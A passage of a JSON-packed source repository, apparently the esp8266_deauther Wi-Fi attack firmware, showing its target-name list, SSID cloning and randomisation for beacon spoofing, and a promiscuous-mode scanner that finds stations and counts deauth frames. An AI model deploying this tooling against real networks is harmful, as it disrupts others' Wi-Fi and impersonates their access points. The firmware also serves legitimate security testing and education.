Names::select(String name) {\n    int c = count();\n\n    for (int i = 0; i < c; i++) {\n        if (getName(i).equals(name)) {\n            select(i);\n            return;\n        }\n    }\n    prnt(N_ERROR_NOT_FOUND);\n    prntln(name);\n}\n\nvoid Names::deselect(int num) {\n    if (!check(num)) return;\n\n    internal_deselect(num);\n    prnt(N_DESELECTED);\n    prntln(getName(num));\n    changed = true;\n}\n\nvoid Names::deselect(String name) {\n    int c = count();\n\n    for (int i = 0; i < c; i++) {\n        if (getName(i).equals(name)) {\n            deselect(i);\n            return;\n        }\n    }\n    prnt(N_ERROR_NOT_FOUND);\n    prnt(name);\n}\n\nvoid Names::selectAll() {\n    int c = count();\n\n    for (int i = 0; i < c; i++) internal_select(i);\n    prntln(N_SELECTED_ALL);\n}\n\nvoid Names::deselectAll() {\n    int c = count();\n\n    for (int i = 0; i < c; i++) internal_deselect(i);\n    prntln(N_DESELECTED_ALL);\n}\n\nuint8_t* Names::getMac(int num) {\n    if (!check(num)) return NULL;\n\n    return list->get(num).mac;\n}\n\nuint8_t* Names::getBssid(int num) {\n    if (!check(num)) return NULL;\n\n    return list->get(num).apBssid;\n}\n\nString Names::getMacStr(int num) {\n    if (!check(num)) return String();\n\n    uint8_t* mac = getMac(num);\n\n    return bytesToStr(mac, 6);\n}\n\nString Names::getVendorStr(int num) {\n    if (!check(num)) return String();\n\n    return searchVendor(list->get(num).mac);\n}\n\nString Names::getBssidStr(int num) {\n    String value;\n\n    if (getBssid(num) != NULL) {\n        uint8_t* mac = getBssid(num);\n\n        for (int i = 0; i < 6; i++) {\n            if (mac[i] < 0x10) value += ZERO;\n            value += String(mac[i], HEX);\n\n            if (i < 5) value += DOUBLEPOINT;\n        }\n    }\n    return value;\n}\n\nString Names::getName(int num) {\n    if (!check(num)) return String();\n\n    return String(list->get(num).name);\n}\n\nString Names::getSelectedStr(int num) {\n    return b2a(getSelected(num));\n}\n\nuint8_t Names::getCh(int num) {\n    if (!check(num)) return 1;\n\n    return list->get(num).ch;\n}\n\nbool Names::getSelected(int num) {\n    if (!check(num)) return false;\n\n    return list->get(num).selected;\n}\n\nbool Names::isStation(int num) {\n    return getBssid(num) != NULL;\n}\n\nint Names::count() {\n    return list->size();\n}\n\nint Names::selected() {\n    int num = 0;\n\n    for (int i = 0; i < count(); i++)\n        if (getSelected(i)) num++;\n    return num;\n}\n\nint Names::stations() {\n    int num = 0;\n\n    for (int i = 0; i < count(); i++)\n        if (isStation(i)) num++;\n    return num;\n}\n\nbool Names::internal_check(int num) {\n    return num >= 0 && num < count();\n}\n\nvoid Names::internal_select(int num) {\n    Device newDevice = list->get(num);\n\n    newDevice.selected = true;\n    list->replace(num, newDevice);\n}\n\nvoid Names::internal_deselect(int num) {\n    Device newDevice = list->get(num);\n\n    newDevice.selected = false;\n    list->replace(num, newDevice);\n}\n\nvoid Names::internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected) {\n    uint8_t* deviceMac = (uint8_t*)malloc(6);\n\n    if (name.length() > NAME_MAX_LENGTH) name = name.substring(0, NAME_MAX_LENGTH);\n    char* deviceName     = (char*)malloc(name.length() + 1);\n    uint8_t* deviceBssid = NULL;\n\n    name = fixUtf8(name);\n\n    memcpy(deviceMac, mac, 6);\n    strcpy(deviceName, name.c_str());\n\n    if (bssid) {\n        deviceBssid = (uint8_t*)malloc(6);\n        memcpy(deviceBssid, bssid, 6);\n    }\n\n    if ((ch < 1) || (ch > 14)) ch = 1;\n\n    Device newDevice;\n\n    newDevice.mac      = deviceMac;\n    newDevice.name     = deviceName;\n    newDevice.apBssid  = deviceBssid;\n    newDevice.ch       = ch;\n    newDevice.selected = selected;\n\n    list->add(newDevice);\n}\n\nvoid Names::internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected) {\n    uint8_t mac[6];\n\n    if (!strToMac(macStr, mac)) return;\n\n    if (bssidStr.length() == 17) {\n        uint8_t bssid[6];\n        strToMac(bssidStr, bssid);\n        internal_add(mac, name, bssid, ch, selected);\n    } else {\n        internal_add(mac, name, NULL, ch, selected);\n    }\n}\n\nvoid Names::internal_remove(int num) {\n    free(list->get(num).mac);\n    free(list->get(num).name);\n\n    if (list->get(num).apBssid) free(list->get(num).apBssid);\n    list->remove(num);\n}\n\nvoid Names::internal_removeAll() {\n    while (count() > 0) {\n        free(list->get(0).mac);\n        free(list->get(0).name);\n\n        if (list->get(0).apBssid) free(list->get(0).apBssid);\n        list->remove(0);\n    }\n}"
  },
  {
    "path": "esp8266_deauther/Names.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include <ESP8266WiFi.h>\nextern \"C\" {\n  #include \"user_interface.h\"\n}\n#include \"src/ArduinoJson-v5.13.5/ArduinoJson.h\"\n#include \"language.h\"\n#include \"SimpleList.h\"\n\n#define NAME_LIST_SIZE 25\n#define NAME_MAX_LENGTH 17\n\nextern void checkFile(String path, String data);\nextern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);\nextern bool writeFile(String path, String& buf);\nextern bool appendFile(String path, String& buf);\nextern bool strToMac(String macStr, uint8_t* mac);\nextern String searchVendor(uint8_t* mac);\nextern String fixUtf8(String str);\nextern String leftRight(String a, String b, int len);\nextern String escape(String str);\nextern String bytesToStr(const uint8_t* b, uint32_t size);\n\nclass Names {\n    public:\n        Names();\n\n        void load();\n        void load(String filepath);\n        void save(bool force);\n        void save(bool force, String filepath);\n        void sort();\n\n        String find(uint8_t* mac);\n        int findID(uint8_t* mac);\n\n        void print(int num);\n        void print(int num, bool header, bool footer);\n        void select(int num);\n        void select(String name);\n        void deselect(int num);\n        void deselect(String name);\n        void add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected, bool force);\n        void add(String macStr, String name, String bssidStr, uint8_t ch, bool selected, bool force);\n        void replace(int num, String macStr, String name, String bssidStr, uint8_t ch, bool selected);\n        void remove(int num);\n\n        void printAll();\n        void printSelected();\n        void selectAll();\n        void deselectAll();\n        void removeAll();\n\n        uint8_t* getMac(int num);\n        uint8_t* getBssid(int num);\n        String getMacStr(int num);\n        String getBssidStr(int num);\n        String getName(int num);\n        String getVendorStr(int num);\n        String getSelectedStr(int num);\n        uint8_t getCh(int num);\n        bool getSelected(int num);\n        bool isStation(int num);\n\n        void setName(int num, String name);\n        void setMac(int num, String macStr);\n        void setCh(int num, uint8_t ch);\n        void setBSSID(int num, String bssidStr);\n\n        int count();\n        int selected();\n        int stations();\n\n        bool check(int num);\n\n    private:\n        String FILE_PATH = \"/names.json\";\n        bool changed     = false;\n\n        struct Device {\n            uint8_t* mac;      // mac address\n            char   * name;     // name of saved device\n            uint8_t* apBssid;  // mac address of AP (if saved device is a station)\n            uint8_t  ch;       // Wi-Fi channel of Device\n            bool     selected; // select for attacking\n        };\n\n        SimpleList<Device>* list;\n\n        int binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd);\n        bool internal_check(int num);\n        void internal_select(int num);\n        void internal_deselect(int num);\n        void internal_add(uint8_t* mac, String name, uint8_t* bssid, uint8_t ch, bool selected);\n        void internal_add(String macStr, String name, String bssidStr, uint8_t ch, bool selected);\n        void internal_remove(int num);\n        void internal_removeAll();\n};"
  },
  {
    "path": "esp8266_deauther/SSIDs.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\n#include \"SSIDs.h\"\r\n\r\n#include <LittleFS.h>\r\n#include \"settings.h\"\r\n\r\nSSIDs::SSIDs() {\r\n    list = new SimpleList<SSID>;\r\n}\r\n\r\nvoid SSIDs::load() {\r\n    internal_removeAll();\r\n    DynamicJsonBuffer jsonBuffer(4000);\r\n\r\n    checkFile(FILE_PATH, str(SS_JSON_DEFAULT));\r\n    JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer);\r\n    JsonArray & arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));\r\n\r\n    for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {\r\n        JsonArray& tmpArray = arr.get<JsonVariant>(i);\r\n        internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));\r\n    }\r\n\r\n    prnt(SS_LOADED);\r\n    prntln(FILE_PATH);\r\n}\r\n\r\nvoid SSIDs::load(String filepath) {\r\n    String tmp = FILE_PATH;\r\n\r\n    FILE_PATH = filepath;\r\n    load();\r\n    FILE_PATH = tmp;\r\n}\r\n\r\nvoid SSIDs::removeAll() {\r\n    internal_removeAll();\r\n    prntln(SS_CLEARED);\r\n    changed = true;\r\n}\r\n\r\nvoid SSIDs::save(bool force) {\r\n    if (!force && !changed) return;\r\n\r\n    String buf = String();                              // create buffer\r\n\r\n    buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(\r\n        DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {\"random\":false,\r\n    buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +\r\n           String(OPEN_BRACKET);                        // \"ssids\":[\r\n\r\n    if (!writeFile(FILE_PATH, buf)) {\r\n        prnt(F_ERROR_SAVING);\r\n        prntln(FILE_PATH);\r\n        return;\r\n    }\r\n    buf = String(); // clear buffer\r\n\r\n    String name;\r\n    int    c = count();\r\n\r\n    for (int i = 0; i < c; i++) {\r\n        name = escape(getName(i));\r\n\r\n        buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // [\"name\",\r\n        buf += b2s(getWPA2(i)) + String(COMMA);                                                           // false,\r\n        buf += String(getLen(i)) + String(CLOSE_BRACKET);                                                 // 12]\r\n\r\n        if (i < c - 1) buf += COMMA;                                                                      // ,\r\n\r\n        if (buf.length() >= 1024) {\r\n            if (!appendFile(FILE_PATH, buf)) {\r\n                prnt(F_ERROR_SAVING);\r\n                prntln(FILE_PATH);\r\n                return;\r\n            }\r\n\r\n            buf = String(); // clear buffer\r\n        }\r\n    }\r\n\r\n    buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}\r\n\r\n    if (!appendFile(FILE_PATH, buf)) {\r\n        prnt(F_ERROR_SAVING);\r\n        prntln(FILE_PATH);\r\n        return;\r\n    }\r\n\r\n    prnt(SS_SAVED_IN);\r\n    prntln(FILE_PATH);\r\n    changed = false;\r\n}\r\n\r\nvoid SSIDs::save(bool force, String filepath) {\r\n    String tmp = FILE_PATH;\r\n\r\n    FILE_PATH = filepath;\r\n    save(force);\r\n    FILE_PATH = tmp;\r\n}\r\n\r\nvoid SSIDs::update() {\r\n    if (randomMode) {\r\n        if (currentTime - randomTime > randomInterval * 1000) {\r\n            prntln(SS_RANDOM_INFO);\r\n\r\n            for (int i = 0; i < SSID_LIST_SIZE; i++) {\r\n                SSID newSSID;\r\n\r\n                if (check(i)) newSSID = list->get(i);\r\n\r\n                newSSID.name = String();\r\n                newSSID.len  = 32;\r\n\r\n                for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));\r\n\r\n                newSSID.wpa2 = random(0, 2);\r\n\r\n                if (check(i)) list->replace(i, newSSID);\r\n                else list->add(newSSID);\r\n            }\r\n\r\n            randomTime = currentTime;\r\n            changed    = true;\r\n        }\r\n    }\r\n}\r\n\r\nString SSIDs::getName(int num) {\r\n    return check(num) ? list->get(num).name : String();\r\n}\r\n\r\nbool SSIDs::getWPA2(int num) {\r\n    return check(num) ? list->get(num).wpa2 : false;\r\n}\r\n\r\nint SSIDs::getLen(int num) {\r\n    return check(num) ? list->get(num).len : 0;\r\n}\r\n\r\nvoid SSIDs::setWPA2(int num, bool wpa2) {\r\n    SSID newSSID = list->get(num);\r\n\r\n    newSSID.wpa2 = wpa2;\r\n    list->replace(num, newSSID);\r\n}\r\n\r\nString SSIDs::getEncStr(int num) {\r\n    if (getWPA2(num)) return \"WPA2\";\r\n    else return \"-\";\r\n}\r\n\r\nvoid SSIDs::remove(int num) {\r\n    if (!check(num)) return;\r\n\r\n    internal_remove(num);\r\n    prnt(SS_REMOVED);\r\n    prntln(getName(num));\r\n    changed = true;\r\n}\r\n\r\nString SSIDs::randomize(String name) {\r\n    int ssidlen = name.length();\r\n\r\n    if (ssidlen > 32) name = name.substring(0, 32);\r\n\r\n    if (ssidlen < 32) {\r\n        for (int i = ssidlen; i < 32; i++) {\r\n            int rnd = random(3);\r\n\r\n            if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE\r\n                name += char(0xE2);\r\n                name += char(0x80);\r\n                name += char(0x8B);\r\n                i    += 2;\r\n            } else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE\r\n                name += char(0xC2);\r\n                name += char(0xA0);\r\n                i    += 1;\r\n            } else {\r\n                name += char(0x20); // SPACE\r\n            }\r\n        }\r\n    }\r\n    return name;\r\n}\r\n\r\nvoid SSIDs::add(String name, bool wpa2, int clones, bool force) {\r\n    if (list->size() >= SSID_LIST_SIZE) {\r\n        if (force) {\r\n            internal_remove(0);\r\n        } else {\r\n            prntln(SS_ERROR_FULL);\r\n            return;\r\n        }\r\n    }\r\n\r\n    if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;\r\n\r\n    for (int i = 0; i < clones; i++) {\r\n        internal_add(clones > 1 ? randomize(name) : name, wpa2, name.length());\r\n\r\n        if (list->size() > SSID_LIST_SIZE) internal_remove(0);\r\n    }\r\n\r\n    prnt(SS_ADDED);\r\n    prntln(name);\r\n    changed = true;\r\n}\r\n\r\nvoid SSIDs::cloneSelected(bool force) {\r\n    if (accesspoints.selected() > 0) {\r\n        int clones = SSID_LIST_SIZE;\r\n\r\n        if (!force) clones -= list->size();\r\n        clones /= accesspoints.selected();\r\n\r\n        int apCount = accesspoints.count();\r\n\r\n        for (int i = 0; i < apCount; i++) {\r\n            if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);\r\n        }\r\n    }\r\n}\r\n\r\nbool SSIDs::getRandom() {\r\n    return randomMode;\r\n}\r\n\r\nvoid SSIDs::replace(int num, String name, bool wpa2) {\r\n    if (!check(num)) return;\r\n\r\n    int len = name.length();\r\n\r\n    if (len > 32) len = 32;\r\n    SSID newSSID;\r\n\r\n    newSSID.name = randomize(name);\r\n    newSSID.wpa2 = wpa2;\r\n    newSSID.len  = (uint8_t)len;\r\n    list->replace(num, newSSID);\r\n\r\n    prnt(SS_REPLACED);\r\n    prntln(name);\r\n    changed = true;\r\n}\r\n\r\nvoid SSIDs::print(int num) {\r\n    print(num, true, false);\r\n}\r\n\r\nvoid SSIDs::print(int num, bool header, bool footer) {\r\n    if (!check(num)) return;\r\n\r\n    if (header) {\r\n        prntln(SS_TABLE_HEADER);\r\n        prntln(SS_TABLE_DIVIDER);\r\n    }\r\n\r\n    prnt(leftRight(String(), (String)num, 2));\r\n    prnt(leftRight(String(SPACE), getEncStr(num), 5));\r\n    prntln(leftRight(String(SPACE) + getName(num), String(), 33));\r\n\r\n    if (footer) prntln(SS_TABLE_DIVIDER);\r\n}\r\n\r\nvoid SSIDs::printAll() {\r\n    prntln(SS_HEADER);\r\n    int c = count();\r\n\r\n    if (c == 0) prntln(SS_ERROR_EMPTY);\r\n    else\r\n        for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);\r\n}\r\n\r\nint SSIDs::count() {\r\n    return list->size();\r\n}\r\n\r\nbool SSIDs::check(int num) {\r\n    return num >= 0 && num < count();\r\n}\r\n\r\nvoid SSIDs::enableRandom(uint32_t randomInterval) {\r\n    randomMode            = true;\r\n    SSIDs::randomInterval = randomInterval;\r\n    prntln(SS_RANDOM_ENABLED);\r\n    update();\r\n}\r\n\r\nvoid SSIDs::disableRandom() {\r\n    randomMode = false;\r\n    internal_removeAll();\r\n    prntln(SS_RANDOM_DISABLED);\r\n}\r\n\r\nvoid SSIDs::internal_add(String name, bool wpa2, int len) {\r\n    if (len > 32) {\r\n        name = name.substring(0, 32);\r\n        len  = 32;\r\n    }\r\n\r\n    name = fixUtf8(name);\r\n\r\n    SSID newSSID;\r\n\r\n    newSSID.name = name;\r\n    newSSID.wpa2 = wpa2;\r\n    newSSID.len  = (uint8_t)len;\r\n\r\n    list->add(newSSID);\r\n}\r\n\r\nvoid SSIDs::internal_remove(int num) {\r\n    list->remove(num);\r\n}\r\n\r\nvoid SSIDs::internal_removeAll() {\r\n    list->clear();\r\n}"
  },
  {
    "path": "esp8266_deauther/SSIDs.h",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n#include \"Arduino.h\"\n#include <ESP8266WiFi.h>\nextern \"C\" {\n  #include \"user_interface.h\"\n}\n#include \"src/ArduinoJson-v5.13.5/ArduinoJson.h\"\n#include \"language.h\"\n#include \"SimpleList.h\"\n#include \"Accesspoints.h\"\n\n#define SSID_LIST_SIZE 60\n\n\nextern uint32_t currentTime;\nextern Accesspoints accesspoints;\n\nextern void checkFile(String path, String data);\nextern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);\nextern bool appendFile(String path, String& buf);\nextern bool writeFile(String path, String& buf);\nextern void readFileToSerial(String path);\nextern String fixUtf8(String str);\nextern String leftRight(String a, String b, int len);\nextern String escape(String str);\n\nclass SSIDs {\n    public:\n        SSIDs();\n\n        void load();\n        void load(String filepath);\n        void save(bool force);\n        void save(bool force, String filepath);\n        void update();\n\n        void print(int num);\n        void print(int num, bool header, bool footer);\n        void add(String name, bool wpa2, int clones, bool force);\n        void cloneSelected(bool force);\n        void remove(int num);\n        void enableRandom(uint32_t randomInterval);\n        void disableRandom();\n        bool getRandom();\n\n        String getName(int num);\n        bool getWPA2(int num);\n        String getEncStr(int num);\n        int getLen(int num);\n\n        void setWPA2(int num, bool wpa2);\n        void replace(int num, String name, bool wpa2);\n\n        void printAll();\n        void removeAll();\n\n        int count();\n\n    private:\n        bool changed            = false;\n        bool randomMode         = false;\n        uint32_t randomInterval = 2000;\n        uint32_t randomTime     = 0;\n\n        struct SSID {\n            String  name; // SSID\n            bool    wpa2; // WPA2 encrypted or not\n            uint8_t len;  // original length (before editing it to be 32 characters)\n        };\n\n        String FILE_PATH = \"/ssids.json\";\n\n        SimpleList<SSID>* list;\n\n        bool check(int num);\n        String randomize(String name);\n\n        void internal_add(String name, bool wpa2, int add);\n        void internal_remove(int num);\n        void internal_removeAll();\n};"
  },
  {
    "path": "esp8266_deauther/Scan.cpp",
    "content": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Scan.h\"\n\n#include \"settings.h\"\n#include \"wifi.h\"\n\nScan::Scan() {\n    list = new SimpleList<uint16_t>;\n}\n\nvoid Scan::sniffer(uint8_t* buf, uint16_t len) {\n    if (!isSniffing()) return;\n\n    packets++;\n\n    if (len < 28) return;  // drop frames that are too short to have a valid MAC header\n\n    if ((buf[12] == 0xc0) || (buf[12] == 0xa0)) {\n        tmpDeauths++;\n        return;\n    }\n\n    // drop beacon frames, probe requests/responses and deauth/disassociation frames\n    if ((buf[12] == 0x80) || (buf[12] == 0x40) || (buf[12] == 0x50) /* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;\n\n    // only allow data frames\n    // if(buf[12] != 0x08 && buf[12] != 0x88) return;\n\n    uint8_t* macTo   = &buf[16];\n    uint8_t* macFrom = &buf[22];\n\n    if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) ||\n        macMulticast(macFrom)) return;\n\n    int accesspointNum = findAccesspoint(macFrom);\n\n    if (accesspointNum >= 0) {\n        stations.add(macTo, accesspoints.getID(accesspointNum));\n    } else {\n        accesspointNum = findAccesspoint(macTo);\n\n        if (accesspointNum >= 0) {\n            stations.add(macFrom, accesspoints.getID(accesspointNum));\n        }\n    }\n}\n\nint Scan::findAccesspoint(uint8_t* mac) {\n    for (int i = 0; i < accesspoints.count(); i++) {\n        if (memcmp(accesspoints.getMac(i), mac, 6) == 0) return i;\n    }\n    return -1;\n}\n\nvoid Scan::start(uint8_t mode) {\n    start(mode, sniffTime, scan_continue_mode, continueTime, channelHop, wifi_channel);\n}\n\nvoid Scan::start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop,\n                 uint8_t channel) {\n    if (mode != SCAN_MODE_OFF) stop();\n\n    setWifiChannel(channel, true);\n    Scan::continueStartTime  = currentTime;\n    Scan::snifferPacketTime  = continueStartTime;\n    Scan::snifferOutputTime  = continueStartTime;\n    Scan::continueTime       = continueTime;\n    Scan::sniffTime          = time;\n    Scan::channelHop         = channelHop;\n    Scan::scanMode           = mode;\n    Scan::scan_continue_mode = nextmode;\n\n    if ((sniffTime > 0) && (sniffTime < 1000)) sniffTime = 1000;\n\n    // Serial.printf(\"mode: %u, time: %u, continue-mode: %u, continueTime: %u, channelHop: %u, channel: %u\\r\\n\", mode,\n    // time, scan_continue_mode, continueTime, channelHop, channel);\n\n    /* AP Scan */\n    if ((mode == SCAN_MODE_APS) || (mode == SCAN_MODE_ALL)) {\n        // remove old results\n        accesspoints.removeAll();\n        stations.removeAll();\n        // start AP scan\n        prntln(SC_START_AP);\n        WiFi.scanNetworks(true, true);\n    }\n\n    /* Station Scan */\n    else if (mode == SCAN_MODE_STATIONS) {\n        // start station scan\n        if (accesspoints.count() < 1) {\n            start(SCAN_MODE_ALL);\n            // Serial.println(str(SC_ERROR_NO_AP));\n            return;\n        }\n        snifferStartTime = currentTime;\n        prnt(SC_START_CLIENT);\n\n        if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);\n        else prnt(SC_INFINITELY);\n\n        if (!channelHop) {\n            prnt(SC_ON_CHANNEL);\n            prnt(wifi_channel);\n        }\n        prntln();\n\n        // enable sniffer\n        wifi::stopAP();\n        wifi_promiscuous_enable(true);\n    }\n\n    else if (mode == SCAN_MODE_SNIFFER) {\n        deauths          = tmpDeauths;\n        tmpDeauths       = 0;\n        snifferStartTime = currentTime;\n        prnt(SS_START_SNIFFER);\n\n        if (sniffTime > 0) prnt(String(sniffTime / 1000) + S);\n        else prnt(SC_INFINITELY);\n        prnt(SC_ON_CHANNEL);\n        prntln(channelHop ? str(SC_ONE_TO) + (String)14 : (String)wifi_channel);\n\n        // enable sniffer\n        wifi::stopAP();\n        wifi_promiscuous_enable(true);\n    }\n\n    /* Stop scan */\n    else if (mode == SCAN_MODE_OFF) {\n        wifi_promiscuous_enable(false);\n\n        if (settings::getWebSettings().enabled) wifi::resumeAP();\n        prntln(SC_STOPPED);\n        save(true);\n\n        if (scan_continue_mode != SCAN_MODE_OFF) {\n            prnt(SC_RESTART);\n            prnt(int(continueTime / 1000));\n            prntln(SC_CONTINUE);\n        }\n    }\n\n    /* ERROR */\n    else {\n        prnt(SC_ERROR_MODE);\n        prntln(mode);\n        return;\n    }\n}\n\nvoid Scan::update() {\n    if (scanMode == SCAN_MODE_OFF) {\n        // restart scan if it is continuous\n        if (scan_continue_mode != SCAN_MODE_OFF) {\n            if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);\n        }\n        return;\n    }\n\n    // sniffer\n    if (isSniffing()) {\n        // update packet list every 1s\n        if (currentTime - snifferPacketTime > 1000) {\n            snifferPacketTime = currentTime;\n            list->add(packets);\n\n            if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);\n            deauths    = tmpDeauths;\n            tmpDeauths = 0;\n            packets    = 0;\n        }\n\n        // print status every 3s\n        if (currentTime - snifferOutputTime > 3000) {\n            char s[100];\n\n            if (sniffTime > 0) {\n                sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);\n            } else {\n                sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);\n            }\n            prnt(String(s));\n            snifferOutputTime = currentTime;\n        }\n\n        // channel hopping\n        if (channelHop && (currentTime - snifferChannelTime > settings::getSnifferSettings().channel_time)) {\n            snifferChannelTime = currentTime;\n\n            if (scanMode == SCAN_MODE_STATIONS) nextChannel();  // go to next channel an AP is on\n            else setChannel(wifi_channel + 1);                  // go to next channel\n        }\n    }\n\n    // APs\n    if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {\n        int16_t results = WiFi.scanComplete();\n\n        if (results >= 0) {\n            for (int16_t i = 0; i < results && i < 256; i++) {\n                if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);\n            }\n            accesspoints.sort();\n            accesspoints.printAll();\n\n            if (scanMode == SCAN_MODE_ALL) {\n                delay(30);\n                start(SCAN_MODE_STATIONS);\n            }\n            else start(SCAN_MODE_OFF);\n        }\n    }\n\n    // Stations\n    else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {\n        wifi_promiscuous_enable(false);\n\n        if (scanMode == SCAN_MODE_STATIONS) {\n            stations.sort();\n            stations.printAll();\n        }\n        start(SCAN_MODE_OFF);\n    }\n}\n\nvoid Scan::setup() {\n    save(true);\n}\n\nvoid Scan::stop() {\n    scan_continue_mode = SCAN_MODE_OFF;\n    start(SCAN_MODE_OFF);\n}\n\nvoid Scan::setChannel(uint8_t ch) {\n    if (ch > 14) ch = 1;\n    else if (ch < 1) ch = 14;\n\n    wifi_promiscuous_enable(0);\n    setWifiChannel(ch, true);\n    wifi_promiscuous_enable(1);\n}\n\nvoid Scan::nextChannel() {\n    if (accesspoints.count() > 1) {\n        uint8_t ch = wifi_channel;\n\n        do {\n            ch++;\n\n            if (ch > 14) ch = 1;\n        } while (!apWithChannel(ch));\n        setChannel(ch);\n    }\n}\n\nbool Scan::apWithChannel(uint8_t ch) {\n    for (int i = 0; i < accesspoints.count(); i++)\n        if (accesspoints.getCh(i) == ch) return true;\n\n    return false;\n}\n\nvoid Scan::save(bool force, String filePath) {\n    String tmp = FILE_PATH;\n\n    FILE_PATH = filePath;\n    save(true);\n    FILE_PATH = tmp;\n}\n\nvoid Scan::save(bool force) {\n    if (!(accesspoints.changed || stations.changed) && !force) return;\n\n    // Accesspoints\n    String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(\n        DOUBLEPOINT) + String(OPEN_BRACKET); // {\"aps\":[\n\n    if (!writeFile(FILE_PATH, buf)) {        // overwrite old file\n        prnt(F_ERROR_SAVING);\n        prntln(FILE_PATH);\n        return;\n    }\n\n    buf = String(); // clear buffer\n    uint32_t apCount = accesspoints.count();\n\n    for (uint32_t i = 0; i < apCount; i++) {\n        buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +\n               String(COMMA);                                                                                    // [\"ssid\",\n        buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // \"name\",\n        buf += String(accesspoints.getCh(i)) + String(COMMA);                                                    // 1,\n        buf += String(accesspoints.getRSSI(i)) + String(COMMA);                                                  // -30,\n        buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA);          // \"wpa2\",\n        buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA);          // \"00:11:22:00:11:22\",\n        buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA);       // \"vendor\",\n        buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET);                                         // false]\n\n        if (i < apCount - 1) buf += String(COMMA);                                                               // ,\n\n        if (buf.length() >= 1024) {\n            if (!appendFile(FILE_PATH, buf)) {\n                prnt(F_ERROR_SAVING);\n                prntln(FILE_PATH);\n                return;\n            }\n\n            buf = String(); // clear buffer\n        }\n    }\n\n    // Stations\n    buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +\n           String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],\"stations\":[;\n    uint32_t stationCount = stations.count();\n\n    for (uint32_t i = 0; i < stationCount; i++) {\n        buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +\n               String(COMMA);                                                                          // [\"00:11:22:00:11:22\",\n        buf += String(stations.getCh(i)) + String(COMMA);                                              // 1,\n        buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA);   // \"name\",\n        buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // \"vendor\",\n        buf += String(*stations.getPkts(i)) + String(COMMA);                                           // 123,\n        buf += String(stations.getAP(i)) + String(COMMA);                                              // 0,\n        buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA);   // \"<1min\",\n        buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET);                                   // false]\n\n        if (i < stationCount - 1) buf += String(COMMA);                                                // ,\n\n        if (buf.length() >= 1024) {\n            if (!appendFile(FILE_PATH, buf)) {\n                prnt(F_ERROR_SAVING);\n                prntln(FILE_PATH);\n                return;\n            }\n\n            buf = String(); // clear buffer\n        }\n    }\n\n    buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}\n\n    if (!appendFile(FILE_PATH, buf)) {\n        prnt(F_ERROR_SAVING);\n        prntln(FILE_PATH);\n        return;\n    }\n\n    accesspoints.changed = false;\n    stations.changed     = false;\n    prnt(SC_SAVED_IN);\n    